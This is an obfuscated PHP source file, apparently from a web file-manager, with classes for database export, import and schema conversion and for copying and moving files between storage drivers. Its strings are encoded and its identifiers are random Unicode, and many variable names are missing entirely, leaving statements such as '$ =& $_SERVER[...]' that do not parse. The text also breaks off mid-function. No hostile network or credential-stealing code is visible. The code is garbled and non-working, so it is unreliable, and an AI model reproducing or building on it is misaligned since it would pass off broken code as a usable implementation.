public function getError() { return $this->error; } public function escapeString($) { return addslashes($); } public function setModel($ɱ) { $this->model = $ɱ; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($ɧ = array()) { $ =& $_SERVER[ϋ]; if (empty($ɧ)) { $ɧ = $GLOBALS[$[6]][$[21]]; } $this->database = $ɧ; } public function model($ݣ = '') { return new ModelBase($ݣ, $_SERVER[ϋ][12], $this->database); } public function db($˰ = false) { $Һ =& $_SERVER[ϋ]; $ޥ֛ = array_change_key_case($this->database); if ($this->dbType() == $Һ[13] || !$˰) { return $this->model()->db(); } $Ő = $ޥ֛[$Һ[1021]]; $ޥ֛[$Һ[1021]] = $Һ[12]; if ($ޥ֛[$Һ[1016]] == $Һ[1013]) { $袢 = $ޥ֛[$Һ[1022]]; $ޥ֛[$Һ[1022]] = substr($袢, 0, strrpos($袢, $Һ[1108])); } $this->database = $ޥ֛; $ւ = $this->model()->db(); try { $ = $ւ->execute("\163\150\x6f\167\40\x64\141\164\x61\142\x61\x73\145\163\40\154\151\x6b\145\x20\47{$Ő}\x27"); } catch (Exception $Ā) { } if (!$) { $ւ->execute("\143\x72\145\x61\164\x65\40\144\x61\x74\x61\142\x61\x73\145\40\x60{$Ő}\140"); } $ޥ֛[$Һ[1021]] = $Ő; if ($ޥ֛[$Һ[1016]] == $Һ[1013]) { $ޥ֛[$Һ[1022]] .= $Һ[1108] . $Ő; } $this->database = $ޥ֛; $ւ->execute("\x75\163\x65\40\x60{$Ő}\140"); return $ւ; } public function createTable($, &$) { $ =& $_SERVER[ϋ]; if (!IO::exist($)) { ActionCall($[1109], !0, 0); show_json(LNG($[1110]), !1); } $ = $this->model()->db(); $ = sqlSplit(IO::getContent($)); foreach ($ as $) { $ނ = stripos($, $[1111]) === 0; if ($ނ) { $->task[$[1112]] += 1; } $->execute($); if ($ނ) { preg_match($[1113], $, $); $->task[$[1114]] = $[1]; $->update(1); } } } public function insertTable($, &$) { $ =& $_SERVER[ϋ]; $׬ = $this->model()->db(); $ = $ ? array($) : $׬->getTables(); foreach ($ as $) { $ = basename($, $[839]); if (!in_array($, $)) { continue; } $->task[$[1114]] = $; if (get_filesize($) == 0) { continue; } $ = $this->sqlToDb($, $); if (!$) { ActionCall($[1109], !0, 0); show_json(LNG($[1115]) . "\x5b{$}\x5d", !1); } } } public function sqlFromDb($, $ڡ, &$޽, $̟ = '') { if ($޽) { $޽->task[$_SERVER[ϋ][1114]] = $; } $ = $this->model($); $ߊ = 0; $Զ‘ = 0; $ = 10000; $ = fopen($ڡ, $_SERVER[ϋ][1116]); $ = $->getPk(); $ = $->getDbFields(); $ = $_SERVER[ϋ][12]; if ($GLOBALS[$_SERVER[ϋ][838]] && in_array($, array($_SERVER[ϋ][1117], $_SERVER[ϋ][1118]))) { $ = $; } do { $Éϑ = array($ => array($_SERVER[ϋ][1063], $Զ‘)); $Ғ = $->where($Éϑ)->field($)->order($ . $_SERVER[ϋ][1119])->limit($)->select(); $Ғ = !empty($Ғ) ? $Ғ : array(); if (!($𢚓 = count($Ғ))) { break; } $𶵙 = end($Ғ); $Զ‘ = $𶵙[$]; $ = array(); foreach ($Ғ as $) { if ($) { if ($ == $_SERVER[ϋ][1117]) { if ($[$_SERVER[ϋ][33]] == $_SERVER[ϋ][1120]) { $֒̋ = json_decode($[$_SERVER[ϋ][434]], !0); if ($֒̋[$_SERVER[ϋ][32]] == $GLOBALS[$_SERVER[ϋ][838]] && $֒̋[$_SERVER[ϋ][802]] != 1) { continue; } } } else { if ($[$_SERVER[ϋ][33]] == $_SERVER[ϋ][1121] && $[$_SERVER[ϋ][97]] == $_SERVER[ϋ][833]) { continue; } } } if ($̟) { $[$_SERVER[ϋ][87]] = "\x7b\x69\157\x3a{$̟}\175" . substr($[$_SERVER[ϋ][87]], strlen("\x7b\151\157\x3a{$[$_SERVER[ϋ][868]]}\175")); $[$_SERVER[ϋ][868]] = $̟; } $[] = $_SERVER[ϋ][1122] . $this->sqlEncode($) . $_SERVER[ϋ][1123]; } $͈ = "\x49\x4e\123\x45\x52\124\40\x49\x4e\124\x4f\x20\140{$}\x60\40\50\x60" . implode($_SERVER[ϋ][1124], $) . $_SERVER[ϋ][1125]; fwrite($, $͈ . implode($_SERVER[ϋ][1126], $) . $_SERVER[ϋ][74] . PHP_EOL); $ߊ += $𢚓; if ($޽) { $޽->update($𢚓); } } while ($ == $𢚓); fclose($); return $ߊ; } public function sqlToDb($, &$ۤ) { $ʙ =& $_SERVER[ϋ]; $ = $this->model()->db(); $Ƴ潋 = @fopen($, $ʙ[1127]); if (!$Ƴ潋) { return !1; } $ˍ = 0; $ = $ʙ[12]; $ = array(); $ד = $this->dbType(); $˩ = $ד == $ʙ[13] ? 500 : 2000; $Ҿ = basename($, $ʙ[839]); $ = 0; $ = 4194304; while (!feof($Ƴ潋)) { $ = trim(fgets($Ƴ潋)); if (!$) { continue; } $ = $this->sqlDecode($, $ד, $Ҿ); if (stripos($, $ʙ[415]) === 0) { if (!$) { $ = $ . $ʙ[53]; } continue; } if ($ۤ) { $ۤ->task[$ʙ[1112]] += 1; } $ˍ++; $[] = rtrim(rtrim(trim($), $ʙ[50]), $ʙ[74]); $ǹ = null; $倨Щ = strlen($); $ += $倨Щ; $놅 = strlen($) + $ + (count($) - 1); if ($놅 >= $) { $ǹ = array_pop($); if ($ˍ > 1) { $ˍ--; } } if ($ˍ >= $˩ || $ǹ) { $ = $ . implode($ʙ[50], $); if (!$->execute($)) { return !1; } if ($ۤ) { $ۤ->update($ˍ); } $ = array(); $ˍ = 0; $ = 0; if ($ǹ) { $ = array($ǹ); $ˍ = 1; $ = $倨Щ; } } } fclose($Ƴ潋); if (!empty($)) { $ = $ . implode($ʙ[50], $); if (!$->execute($)) { return !1; } if ($ۤ) { $ۤ->update($ˍ); } } return !0; } public function dropTable($̴ݟ = null) { $ = $this->model()->db(); $⼠ņ = $̴ݟ ? array($̴ݟ) : $->getTables(); if (!$⼠ņ) { return; } foreach ($⼠ņ as $̴ݟ) { if ($̴ݟ) { $̴ݟ = strtolower($̴ݟ); } else { continue; } $->execute("\144\x72\x6f\x70\40\x74\x61\x62\x6c\x65\x20\x69\146\x20\145\x78\x69\x73\x74\163\40\x60{$̴ݟ}\140"); } } private function sqlEncode($ǰ) { $ν =& $_SERVER[ϋ]; $У = array(); foreach ($ǰ as $ٟЇ) { if (is_array($ٟЇ)) { $ٟЇ = json_encode_force($ٟЇ); } $ٟЇ = addslashes($ٟЇ); $ٟЇ = str_replace(array($ν[1128], $ν[253], $ν[393]), array($ν[1129], $ν[1130], $ν[1131]), $ٟЇ); $У[] = $ٟЇ; } return $ν[58] . implode($ν[1132], $У) . $ν[58]; } private function sqlDecode($€, $؎, $ = '') { $¼ =& $_SERVER[ϋ]; $€ = str_replace(array($¼[1129], $¼[1130], $¼[1131]), array($¼[1128], $¼[253], $¼[393]), $€); if ($؎ == $¼[13]) { $€ = str_ireplace($¼[1133], $¼[59], $€); $€ = stripslashes($€); } return preg_replace($¼[1134], $¼[12], $€); if ($؎ == $¼[13]) { return $ != $¼[1135] ? stripslashes($€) : $€; } if ($ == $¼[1135]) { $€ = str_replace($¼[1136], $¼[121], stripslashes($€)); } return $€; } public function getSqlFile($ = '') { $ʗ =& $_SERVER[ϋ]; $ = $this->dbType(!0); $ń = CONTROLLER_DIR . "\x69\156\163\164\141\154\x6c\x2f\x64\141\164\141\x2f{$}\x2e\x73\x71\154"; $ = file_get_contents($ń); $ = $ʗ[1137] . ($ == $ʗ[855] ? $ʗ[1138] : $ʗ[1139]) . $ʗ[1140]; preg_match_all($, $, $ؙڮ); $ɫ = $ؙڮ[1]; $͆ = $this->model()->db(); $ֿ = $͆->getTables(); $ = TEMP_FILES . $ʗ[1141] . date($ʗ[263]) . $ʗ[8]; del_dir($); mk_dir($); $ = $ . $ʗ[1142]; $ = $ . $ʗ[1143]; $օ = $ == $ʗ[13] ? $ʗ[855] : $ʗ[13]; IO::copy(CONTROLLER_DIR . "\x69\156\163\x74\141\x6c\x6c\57\x64\141\x74\141\57{$օ}\x2e\x73\161\x6c", $); @touch($ . $ . $ʗ[839]); $ʜ = fopen($, $ʗ[1116]); $• = fopen($, $ʗ[1116]); if ($ == $ʗ[13]) { $ֿ = array_diff($ֿ, array($ʗ[831], $ʗ[832])); $ = array($ʗ[1144], $ʗ[1145], $ʗ[1146]); fwrite($•, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($ֿ as $䁦) { $ψ = $this->sqlFromSqlite($䁦); if (!$ψ[$ʗ[13]]) { continue; } fwrite($•, $ψ[$ʗ[13]] . PHP_EOL . PHP_EOL); if (!in_array($䁦, $ɫ)) { fwrite($ʜ, $ψ[$ʗ[855]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ֿ as $䁦) { $ψ = $this->sqlFromMysql($䁦); if (!$ψ[$ʗ[855]]) { continue; } fwrite($ʜ, $ψ[$ʗ[855]] . PHP_EOL . PHP_EOL); if (!in_array($䁦, $ɫ)) { fwrite($•, $ψ[$ʗ[13]] . PHP_EOL . PHP_EOL); } } } fclose($ʜ); fclose($•); $ = array($ʗ[855] => $, $ʗ[13] => $); return $ ? $[$] : $; } public function dbType($ = false) { $գ =& $_SERVER[ϋ]; $؂ = $ ? $GLOBALS[$գ[6]][$գ[21]] : $this->database; $؂ = array_change_key_case($؂); $ݖ = $؂[$գ[1016]]; if ($ݖ == $գ[1013]) { $ = explode($գ[4], $؂[$գ[1022]]); $ݖ = $[0]; } $ۅ = array($գ[1147] => $գ[13], $գ[961] => $գ[855]); if (isset($ۅ[$ݖ])) { $ݖ = $ۅ[$ݖ]; } return $ݖ; } public function sqlFromMysql($Ͷ, $— = '') { $߫ =& $_SERVER[ϋ]; $ѩ = $this->model()->db(); $ޮ = $ѩ->query($߫[1148] . $Ͷ . $߫[445]); if (!$ޮ || !$ޮ[0]) { return !1; } $ = _get($ޮ[0], $߫[1149], $߫[12]); if (!$) { return !1; } $ߡ = "\x44\x52\x4f\120\x20\124\101\102\114\x45\40\111\x46\40\x45\130\111\x53\x54\x53\x20\x60{$Ͷ}\140\73" . PHP_EOL . $ . $߫[74]; if ($— && $— == $߫[855]) { return $ߡ; } $ = array_change_key_case($GLOBALS[$߫[6]][$߫[21]]); $ = $[$߫[1021]]; $ = $߫[1150] . $ . $߫[1151] . $Ͷ . $߫[58]; $ = $߫[1152] . $Ͷ . $߫[949]; $ = $ѩ->query($); if (empty($)) { $ = array($߫[855] => $߫[12], $߫[13] => $߫[12]); return $— ? $[$—] : $; } $넁 = $ѩ->query($); $ = $߫[12]; $Θ˄ = array(); foreach ($넁 as $) { if (!$ && $[$߫[1153]] == $߫[1154]) { $ = $[$߫[1155]]; } if (isset($Θ˄[$[$߫[1153]]])) { $Θ˄[$[$߫[1153]]][$߫[1156]][] = $[$߫[1155]]; continue; } $Θ˄[$[$߫[1153]]] = array($߫[1157] => $[$߫[1153]], $߫[1156] => array($[$߫[1155]]), $߫[1158] => $[$߫[1159]] == $߫[91] ? 0 : 1); } $Ȟ = array(); foreach ($Θ˄ as $) { $鎹 = $[$߫[1157]] == $߫[1154]; $σ = array($߫[1160], $[$߫[1158]] == $߫[91] && !$鎹 ? $߫[1161] : $߫[12], $߫[1162], $߫[1163] . $Ͷ . $߫[11] . ($鎹 ? $߫[1164] : $[$߫[1157]]) . $߫[121], $߫[1165], $߫[121] . $Ͷ . $߫[121], $߫[1166] . implode($߫[1167], $[$߫[1156]]) . $߫[1168]); $Ȟ[] = implode($߫[53], $σ) . $߫[74]; } $ˎ = array(); $އ = array($߫[1169] => $߫[1170], $߫[1170] => $߫[1170], $߫[339] => $߫[366], $߫[338] => $߫[366]); foreach ($ as $) { $σ = array($߫[121] . $[$߫[1171]] . $߫[121], isset($އ[$[$߫[1172]]]) ? $އ[$[$߫[1172]]] : $[$߫[1173]], $[$߫[1174]] == $߫[947] ? $߫[1175] : $߫[1176], $[$߫[1171]] == $ ? $߫[1177] : $߫[12], $[$߫[998]] ? strtoupper(str_replace($߫[11], $߫[12], $[$߫[998]])) : $߫[12]); $ˎ[] = trim(implode($߫[53], $σ)); } $ԓ = array($߫[1178] . $Ͷ . $߫[1179], $߫[1180] . $Ͷ . $߫[1181], implode($߫[50] . PHP_EOL, $ˎ), $߫[995]); $ȓ = implode(PHP_EOL, array_merge($ԓ, $Ȟ)); if ($— && $— == $߫[13]) { return $ȓ; } $ = array($߫[855] => $ߡ, $߫[13] => $ȓ); return $— ? $[$—] : $; } public function sqlFromSqlite($Ϯ, $ = '') { $ԭ =& $_SERVER[ϋ]; $̤ = $this->model()->db(); $ϴ = "\x50\x52\x41\107\115\x41\x20\x54\x41\102\x4c\x45\x5f\111\x4e\x46\117\x20\50\47{$Ϯ}\47\x29"; $ = "\123\105\114\105\x43\x54\x20\x2a\x20\x46\122\117\115\x20\163\x71\x6c\151\x74\x65\x5f\155\x61\163\x74\145\x72\40\x57\110\x45\x52\x45\40\164\x62\154\x5f\156\141\x6d\x65\x20\75\40\x27{$Ϯ}\47"; $ᢂ = $̤->query($ϴ); if (empty($ᢂ)) { $ = array($ԭ[855] => $ԭ[12], $ԭ[13] => $ԭ[12]); return $ ? $[$] : $; } $ܝ = $̤->query($); $ = $֓ʼn = array(); foreach ($ܝ as $߰ˮ) { if ($߰ˮ[$ԭ[33]] == $ԭ[331]) { $[] = $߰ˮ[$ԭ[1182]]; } else { $֓ʼn[$߰ˮ[$ԭ[32]]] = $߰ˮ[$ԭ[1182]]; } } $ = array_merge(array($ԭ[1178] . $Ϯ . $ԭ[121]), $, array_values($֓ʼn)); $ = implode($ԭ[74] . PHP_EOL, $) . $ԭ[74]; if ($ && $ == $ԭ[13]) { return $; } $߮ = array(); $ν = array($ԭ[1170] => $ԭ[1183], $ԭ[366] => $ԭ[1184]); $ = $ԭ[12]; foreach ($ᢂ as $߰ˮ) { if ($߰ˮ[$ԭ[57]] == $ԭ[91]) { $ = $߰ˮ[$ԭ[32]]; } $ = array($ԭ[445] . $߰ˮ[$ԭ[32]] . $ԭ[445], isset($ν[$߰ˮ[$ԭ[33]]]) ? $ν[$߰ˮ[$ԭ[33]]] : $߰ˮ[$ԭ[33]], $߰ˮ[$ԭ[35]] == $ԭ[91] ? $ԭ[1175] : $ԭ[1185] . $߰ˮ[$ԭ[56]], $߰ˮ[$ԭ[57]] == $ԭ[91] ? $ԭ[1186] : $ԭ[12]); $߮[] = trim(implode($ԭ[53], $)); } foreach ($֓ʼn as $̞ => $) { $ = str_replace($ԭ[1187] . $Ϯ . $ԭ[11], $ԭ[12], $̞); $ = str_replace(array($ԭ[121], $ԭ[1006]), $ԭ[445], substr($, stripos($, $ԭ[312]))); if ($ == $ԭ[1164]) { $ = $ԭ[1188] . $ . $ԭ[1189]; } else { $ = (stripos($, $ԭ[11]) ? $ԭ[1190] : $ԭ[12]) . ($ԭ[1191] . $ . $ԭ[1192] . $); } $߮[] = $; } $İ͕֨ = array($ԭ[1193] . $Ϯ . $ԭ[1194], $ԭ[1195] . $Ϯ . $ԭ[1196], implode($ԭ[50] . PHP_EOL, $߮), $ԭ[1197]); $ = implode(PHP_EOL, $İ͕֨); if ($ && $ == $ԭ[855]) { return $; } $ = array($ԭ[855] => $, $ԭ[13] => $); return $ ? $[$] : $; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $݈) { $α =& $_SERVER[ϋ]; $Π͸ = $݈; $GLOBALS[$α[1198]] = $α[1199] . $; Hook::trigger($α[1199] . $ . $α[1200], $Π͸); $Ь = self::driverMake($݈[0]); if (!$Ь) { return !1; } if (method_exists($Ь, $)) { $ = @call_user_func_array(array($Ь, $), $݈); } else { if (method_exists($Ь, $α[1201])) { $ = @call_user_func_array(array($Ь, $), $݈); } else { if (method_exists(self, $)) { $ = @call_user_func_array(array(self, $), $݈); } else { $ = call_user_func_array(array(parent, $), $݈); } } } Hook::trigger($α[1199] . $ . $α[1202], $Π͸, $); return $; } public static function init($) { return self::driverMake($); } public static function copy($›, $ē, $᠟ = false, $ = false) { return self::copyMoveStart($›, $ē, $᠟, $_SERVER[ϋ][602], $); } public static function move($, $, $ = false, $Ȏ = false) { return self::copyMoveStart($, $, $, $_SERVER[ϋ][604], $Ȏ); } private static function copyMoveStart($ď, $֬, $, $ܼ, $Ҳ) { $ =& $_SERVER[ϋ]; $蜼 = array($ď, $֬, $, $Ҳ); Hook::trigger($[1199] . $ܼ . $[1200], $蜼); $ = self::copyMove($ď, $֬, $, $ܼ, $Ҳ); Hook::trigger($[1199] . $ܼ . $[1202], $蜼, $); return $; } public static function saveFile($պ, $, $ۣ = true) { $绻 =& $_SERVER[ϋ]; $ៈ˾ = self::info($); $Љ = self::driverMake($պ); $΃ = self::driverMake($); $ = !1; if ($΃->pathParse[$绻[1203]]) { $ = $΃; $ﱏ = $΃->pathParse[$绻[1203]]; $΃ = self::driverMake($ﱏ); } if ($Љ->pathParse[$绻[1203]]) { $꧎ = $Љ->pathParse[$绻[1203]]; $Љ = self::driverMake($꧎); } $ţͪ = $΃->pathFather($); $ = !0; if (!$ۣ && self::driverIsSame($Љ, $΃)) { $ = !1; } $ = self::copyFile($Љ, $պ, $΃, $ţͪ, $ៈ˾[$绻[32]], $); if ($) { $ = $->getPathOuter($); } return $; } private static function copyMove($Һ, $, $, $, $ = false) { $т̹ =& $_SERVER[ϋ]; if (!$Һ || $Һ == $т̹[8] || !$) { return !1; } ignore_timeout(); $җ = self::driverMake($Һ); $ = self::driverMake($); $ = $ == $т̹[604]; $Ю = !1; if ($->pathParse[$т̹[1203]]) { $Ю = $; $ = $->pathParse[$т̹[1203]]; $ = self::driverMake($); } if ($җ->pathParse[$т̹[1203]]) { $Һ = $җ->pathParse[$т̹[1203]]; $җ = self::driverMake($Һ); } self::check($җ, $Һ, $, $); Hook::trigger($т̹[1204], $җ, $Һ, $, $); $ = self::driverIsSame($җ, $); if ($) { if ($ == $т̹[604] && !method_exists($, $т̹[1205]) && trim($, $т̹[8]) == trim($->pathFather($Һ), $т̹[8])) { if ($җ->pathThis($Һ) != $ && !$җ->isOsDriver()) { return $җ->rename($Һ, $); } return $->getPathOuter($Һ); } if (method_exists($, $)) { return $->{$}($Һ, $, $, $); } } if ($ && $ == $т̹[604] && $->getType() == $т̹[109]) { $ = $->movePath($Һ, $, $); if ($) { return $; } } $鲸 = $җ->isFile($Һ); if (!$鲸 && $->getType() == $т̹[809] && $җ->getType() == $т̹[109]) { $ = $->copyFolderFromIO($җ, $Һ, $, $, $, $); } else { $ = self::copyPath($җ, $Һ, $, $, $, $, $鲸, $); } if ($ && $) { $җ->remove($Һ); } if ($Ю) { $ = $Ю->getPathOuter($); } return $; } private static function check($, $, $;, &$Ϟې) { $ =& $_SERVER[ϋ]; if (self::driverIsSame($, $;) && $->isFolder($) && $->isParentOf($, $Ϟې)) { show_json(LNG($[1206]), !1); } if (!$->exist($)) { show_json(LNG($[108]), !1); } } private static function copyPath($, $, $, $, $ˆԴ, $, $, $냓 = false, $︇ = true) { $ =& $_SERVER[ϋ]; $ = empty($냓) && $냓 !== $[219] ? $->pathThis($) : $냓; if ($ˆԴ) { $ŧ = $->fileNameExist($, $); $ = $; $ = $->fileNameAuto($, $, $ˆԴ, !$); if (!$ŧ || $ != $) { $ˆԴ = !1; } if ($︇ && !$ˆԴ) { $->_data[$[1207]] = !0; } } if ($) { return self::copyFile($, $, $, $, $, $); } if ($ˆԴ == REPEAT_RENAME_FOLDER) { $ˆԴ = !1; } $ = rtrim($, $[8]) . $[8] . $; $ = $->mkdir($->getPath($), $ˆԴ); $ = $->getPathInner($); $ = $->listPath($, !0); $ = is_array($) ? $ : array($[86] => array(), $[85] => array()); $ߛ = array_merge($[$[86]], $[$[85]]); foreach ($ߛ as $ز) { $䞛 = $ز[$[33]] == $[221]; $ = $->getPathInner($ز[$[87]]); $ = self::copyPath($, $, $, $, $ˆԴ, $, $䞛, !1, !1); if (!$) { IO::errorTips($[1208] . $ . $[73] . $); } } self::copyMoveKeepInfo($, $, $); return $; } private static function copyFile($тʫ, $, $п, $, $, $ӵ) { $ =& $_SERVER[ϋ]; $ = $п->getPath(rtrim($, $[8]) . $[8] . $); $Ͷ = $[1209] . time() . rand_string(5); Hook::trigger($[1210], $тʫ, $, $п, $, $, $Ͷ); if (self::driverIsSame($тʫ, $п)) { if ($ӵ) { $ = $п->moveFile($, $); } else { $ = $п->copyFile($, $); } Hook::trigger($[1211], $тʫ, $, $п, $, $, $); self::copyMoveKeepInfo($тʫ, $, $); return $; } $ۄ = TEMP_FILES; if ($GLOBALS[$[6]][$[92]][$[847]]) { $ۄ = $GLOBALS[$[6]][$[92]][$[847]]; } $îѭ = $ۄ; mk_dir($îѭ); $ܾ܇ = $îѭ . $Ͷ; $ƞ = $ܾ܇; $ܾ܇ = $тʫ->download($, $ܾ܇); $ܾ܇ = $тʫ->iconvApp($ܾ܇); if (substr($ܾ܇, strlen($ۄ)) == $ۄ) { $ӵ = !0; } $ = $п->upload($, $ܾ܇, $ӵ); self::remove($ƞ); Hook::trigger($[1211], $тʫ, $, $п, $, $, $); self::copyMoveKeepInfo($тʫ, $, $); return $; } private static function copyMoveKeepInfo($, $ֆط, $፧咃) { if (!$፧咃) { return; } $򑿯 = $->info($ֆط); if (!is_array($򑿯)) { return; } IO::setModifyTime($፧咃, $򑿯[$_SERVER[ϋ][88]]); } public static function pathFather($ڕ) { $Ƶ = IO::init($ڕ); $ўϦ = $Ƶ->pathFather($Ƶ->path); return $Ƶ->getPathOuter($ўϦ); } public static function fileOut($ʇ߷, $۳ = false, $ѳҩ = false, $ۃ朵 = '') { $ۏ = self::driverMake($ʇ߷); if ($ۏ->isFileOutServer()) { return $ۏ->fileOutServer($ʇ߷, $۳, $ѳҩ, $ۃ朵); } return $ۏ->fileOut($ʇ߷, $۳, $ѳҩ, $ۃ朵); } public static function fileOutImage($ј, $ = 250) { $׸ = array(250, 600, 1200, 2000, 3000, 5000); for ($қ = 0; $қ < count($׸); $қ++) { if ($қ == 0 && $ <= $׸[$қ]) { $ = $׸[$қ]; break; } else { if ($ > $׸[$қ - 1] && $ <= $׸[$қ]) { $ = $׸[$қ]; break; } else { if ($қ == count($׸) - 1 && $ > $׸[$қ]) { $ = $׸[$қ]; break; } } } } $ߞ = self::driverMake($ј); if ($ߞ->isFileOutServer()) { return $ߞ->fileOutImageServer($ј, $); } return $ߞ->fileOutImage($ј, $); } private static function driverIsSame($†, $) { $ =& $_SERVER[ϋ]; $솘 = $†->getType(); $ = $->getType(); if ($솘 != $) { return !1; } if ($솘 == $[809]) { return !0; } if ($솘 == $[109]) { return !0; } if ($†->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($ࡖ, $) { $ˈ =& $_SERVER[ϋ]; if (!IO::exist($ࡖ)) { return !1; } if (!IO::exist($)) { IO::mkdir($); } $ = array_to_keyvalue(self::listAllSimple($ࡖ), $ˈ[87]); $ = array_to_keyvalue(self::listAllSimple($), $ˈ[87]); $Ϲ = array(); $ = array(); foreach ($ as $ӈ => $) { if (isset($[$ӈ])) { if ($[$ˈ[78]] == 1) { continue; } if ($[$ӈ][$ˈ[79]] == $[$ˈ[79]]) { continue; } } if ($[$ˈ[78]] == 1) { $[] = $ . $ˈ[8] . trim($ӈ, $ˈ[8]); continue; } $ = strstr(trim($ӈ, $ˈ[8]), $ˈ[8]) ? get_path_father($ӈ) : $ˈ[12]; $Ϲ[] = array($ˈ[1212] => $[$ˈ[89]], $ˈ[1213] => rtrim($, $ˈ[8]) . $ˈ[8] . $, $ˈ[1214] => $); } $ = array($ˈ[221] => $Ϲ, $ˈ[78] => $); Hook::trigger($ˈ[1215], $ࡖ, $, $); foreach ($ as $) { IO::mkdir($); } foreach ($Ϲ as $) { IO::copy($[$ˈ[1212]], $[$ˈ[1213]], REPEAT_REPLACE); } } public static function fileSubstr($ğ, $٢】, $Ƌ҂ = false) { $ろ =& $_SERVER[ϋ]; $ӡ = self::driverMake($ğ); $ = $ӡ->size($ğ); $ҵ = $٢】; $ޑ = $Ƌ҂; if ($٢】 < 0) { $٢】 = $ + $٢】; } if ($Ƌ҂ === !1) { $Ƌ҂ = $ - $٢】; } if ($٢】 + $Ƌ҂ > $) { $Ƌ҂ = $ - $٢】; } if (!$ && $ӡ->getType() == $ろ[109] && !$ӡ->exist($ğ)) { $֑ = get_path_this($ğ); $ľ = parse_url_query($֑); if (is_array($ľ) && isset($ľ[$ろ[32]])) { $֑ = urldecode($ľ[$ろ[32]]); } throw new Exception($ろ[1216] . LNG($ろ[1217]) . $ろ[1015] . clear_html($֑) . $ろ[12]); } if ($Ƌ҂ <= 0) { return $ろ[12]; } if ($٢】 < 0 || $٢】 >= $ || $Ƌ҂ > 1024 * 1024 * 10) { throw new Exception("\146\x69\154\x65\122\145\x61\144\40\x65\x72\162\157\x72\x21\x20\163\x74\141\162\x74\75{$٢】}\x3b\x6c\145\x6e\x67\x74\x68\75{$Ƌ҂}\73\x20\x73\x69\172\x65\x3d{$}\x3b"); } $ = $ӡ->fileSubstr($ğ, $٢】, $Ƌ҂); if (!$ && $Ƌ҂ && isset($GLOBALS[$ろ[1218]])) { throw new Exception($GLOBALS[$ろ[1218]][$ろ[1219]]); } return $; } private static function driverMake(&$ŎӼ) { $ =& $_SERVER[ϋ]; $ = KodIO::parse($ŎӼ); if (!self::$driverListSystem) { $ = Model($[819])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($Â, $[459]); } if ($[$[33]] == KodIO::KOD_IO && !self::$driverListSystem[$[$[459]]]) { throw new Exception($[1220]); return !1; } $ŎӼ = $[$[1221]]; $̳싔 = self::driverGet($, $ŎӼ); return $̳싔; } private static function driverGet($Υ, &$) { $坏 =& $_SERVER[ϋ]; $ = $Υ[$坏[1222]]; $ = $Υ[$坏[459]]; switch ($Υ[$坏[33]]) { case KodIO::KOD_IO: $Լ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $ = $ . $; $Լ = array($坏[1223] => $坏[1224], $坏[6] => $Υ); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ = $GLOBALS[$坏[1225]]; self::$driverListUser = array_to_keyvalue($, $坏[459]); } $Լ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $Լ = array($坏[1223] => $坏[1226], $坏[6] => $Υ); $ƀ = Action($坏[1227])->sharePathInfo($Υ[$坏[87]]); $ = $ƀ[$坏[184]]; if (!$ƀ[$坏[184]]) { $ = Model($坏[648])->getInfo($ƀ[$坏[649]]); $ = KodIO::clear($[$坏[1228]] . $Υ[$坏[1221]]); $Υ[$坏[545]] = $; $Υ[$坏[1203]] = $; $Լ = array($坏[1223] => $坏[1229], $坏[6] => $Υ); } break; case KodIO::KOD_SHARE_ITEM: $Լ = array($坏[1223] => $坏[1230], $坏[6] => $Υ); $ = Model($坏[648])->getInfo($Υ[$坏[459]]); if ($[$坏[184]] == $坏[219]) { $ = KodIO::clear($[$坏[1228]] . $Υ[$坏[1221]]); $Υ[$坏[545]] = $; $Υ[$坏[1203]] = $; $Լ = array($坏[1223] => $坏[1231], $坏[6] => $Υ); } else { if (!$) { $ = $[$坏[184]]; } } break; default: $ = $Υ[$坏[87]]; $Լ = array($坏[1223] => $坏[1232]); break; } $ = $Υ[$坏[87]]; if (!isset(self::$driverCache[$])) { $¯ = strtolower($Լ[$坏[98]]); $ = $GLOBALS[$坏[6]][$坏[92]][$坏[877]]; $ = $坏[77] . (isset($[$¯]) ? $[$¯] : ucfirst($¯)); if (!class_exists($)) { show_json("{$}\x20\156\157\164\x20\145\x78\x69\x73\x74\163\41", !1); } $؝ = isset($Լ[$坏[6]]) ? $Լ[$坏[6]] : !1; self::$driverCache[$] = new $($؝); } $Ь = self::$driverCache[$]; $Ь->pathDriver = $; $Ь->pathBase = $坏[12]; if (isset($Լ[$坏[6]][$坏[1233]])) { $Ь->pathBase = rtrim($Լ[$坏[6]][$坏[1233]], $坏[8]) . $坏[8]; $ = $Ь->pathBase . ltrim($, $坏[8]); } $ = $Ь->getPath($); if (isset($Υ[$坏[1203]])) { $ = $Υ[$坏[1203]]; } $Ь->path = $; return $Ь; } public static function errorTips($á = false) { $ =& $_SERVER[ϋ]; static $ = array(); $ʻ = 1000; if ($á === -1) { return $ ? $[count($) - 1] : $[12]; } if ($á === !1) { return implode($[253], $); } if (count($) >= $ʻ) { $ = array_slice($, $ʻ * 0.5, $ʻ); } $[] = $á; write_log($[166] . ACTION . $[1234] . $á, $[1235]); } public static function getLastError($ږ = '') { $ = self::errorTips(-1); return $ ? $ : $ږ; } } goto dՎ; D̹Ԉ: class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($죻, $ = 0) { parent::__construct(); $this->source = $죻; $this->sourceSize = $; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ږ = false) { return $this->sourceSize; } public function getContent($㮾 = false) { return $this->fileSubstr($㮾, 0, $this->sourceSize); } public function fileSubstr($ǽ = false, $ = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $ = $this->sourceSize - $; if ($ >= $) { $ = $; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $, $); } if ($this->sourceType == self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[ϋ][12]; } $ݜ = ftell($this->source); fseek_64($this->source, $ݜ + $); $° = @fread($this->source, $); fseek_64($this->source, $ݜ); return $°; } } public function hashMd5($ = false) { return md5($this->getContent()); } public static function hash($۴, $û = 